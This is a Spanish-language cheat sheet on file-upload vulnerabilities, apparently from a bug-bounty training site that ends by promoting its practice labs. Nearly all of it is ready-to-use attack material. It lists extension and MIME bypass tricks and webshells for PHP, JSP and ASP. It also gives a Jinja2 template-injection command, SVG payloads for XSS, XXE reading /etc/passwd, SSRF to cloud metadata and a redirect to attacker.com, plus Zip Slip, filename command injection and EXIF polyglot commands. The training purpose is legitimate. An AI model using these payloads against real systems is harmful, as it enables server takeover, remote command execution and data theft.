Cheatsheet File Upload

Vulnerabilidades en subida de archivos

Referencia rápida

  • Siempre probar multiples extensiones alternativas: .php5, .phtml, .phar, .shtml
  • Magic bytes (GIF89a;) bypasean validaciones que solo comprueban los primeros bytes
  • SVG es un vector ideal porque soporta JS (XSS), XML (XXE) y URLs (SSRF) simultaneamente
  • Si se puede subir .htaccess, cualquier extension se puede ejecutar como PHP
  • Command injection en filename: probar ||, &&, ;, backticks y $() en el nombre del archivo

Bypass de extension

Doble extension

shell.php.jpg

Extension con null bytePHP < 5.3 trunca en null byte

shell.php%00.jpg

Extension alternativa PHP

shell.php5 / shell.phtml / shell.phar / shell.phps

Extension con punto final

shell.php.

Extension con espacios

shell.php%20

Extension case manipulation

shell.pHp / shell.PHP

Semicolon (IIS)IIS ignora todo despues del punto y coma

shell.asp;.jpg

Extension con NTFS streamWindows NTFS alternate data stream

shell.php::$DATA

Bypass de Content-Type

Cambiar MIME a imagenCambiar el Content-Type pero mantener contenido PHP

Content-Type: image/jpeg

MIME SVGSVG puede contener JavaScript y XXE

Content-Type: image/svg+xml

MIME GIF con magic bytesGIF89a son los magic bytes de GIF

GIF89a; <?php system($_GET["cmd"]); ?>

MIME PDF

Content-Type: application/pdf

Webshells

PHP webshell simple

<?php system($_GET['cmd']); ?>

PHP webshell corto

<?=`$_GET[0]`?>

JSP webshell

<% Runtime.getRuntime().exec(request.getParameter("cmd")); %>

ASP webshell

<% eval request("cmd") %>

Python (Jinja2 SSTI en upload)

{{ config.__class__.__init__.__globals__['os'].popen('id').read() }}

SVG malicioso

SVG + XSS

<?xml version="1.0"?>
<svg xmlns="http://www.w3.org/2000/svg">
<script>alert(document.domain)</script>
</svg>

SVG + XXE

<?xml version="1.0"?>
<!DOCTYPE svg [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<svg xmlns="http://www.w3.org/2000/svg">
<text>&xxe;</text>
</svg>

SVG + SSRF redirect

<?xml version="1.0"?>
<svg xmlns="http://www.w3.org/2000/svg">
<image xlink:href="http://169.254.169.254/latest/meta-data/"></image>
</svg>

SVG + Open Redirect

<svg onload="window.location='http://attacker.com'" xmlns="http://www.w3.org/2000/svg"></svg>

Zip Slip y procesamiento de archivos

Zip Slip path traversalCrea ZIP con archivos que usan path traversal al extraer

python evilarc.py webshell.php -d 6 -o unix -p "var/www/html/"

Command injection en filenameSi el backend procesa el nombre del archivo en un comando shell

filename="test || sleep 30 ||.gif"

Polyglot JPEG/PHPInserta PHP en los metadatos EXIF de una imagen real

exiftool -Comment='<?php system($_GET["cmd"]); ?>' photo.jpg

.htaccess uploadSi se puede subir .htaccess, los .jpg se ejecutan como PHP

AddType application/x-httpd-php .jpg

Herramientas

fuxploider

Fuzzer automatizado de file upload que prueba multiples tecnicas de bypass

python3 fuxploider.py --url https://target.com/upload --not-regex "error"

exiftool

Inyecta payload en metadatos EXIF de imagenes reales

exiftool -Comment='<?php system($_GET["cmd"]); ?>' image.jpg

evilarc

Genera archivos ZIP con path traversal para Zip Slip attacks

python evilarc.py shell.php -d 5 -o unix -p "var/www/html/"

¿Listo para practicar?

Pon en práctica estos payloads en labs reales basados en reportes de bug bounty.

Ver labs de práctica
650

hunters entrenando

50

labs de reportes reales

380

completaciones

$200.000

en bounties practicados

40 flags capturadas esta semana·Reportes reales de HackerOne · Bugcrowd · Intigriti·Sin permanencia·Academy gratis
BBLabs · bug bounty en español

Deja de leer sobre bugs y empieza a cazarlos

Crea tu cuenta gratis y practica sobre labs basados en reportes reales que pagaron miles de euros. La Academy es gratis para siempre.

Sin tarjeta · Academy gratis · cancela cuando quieras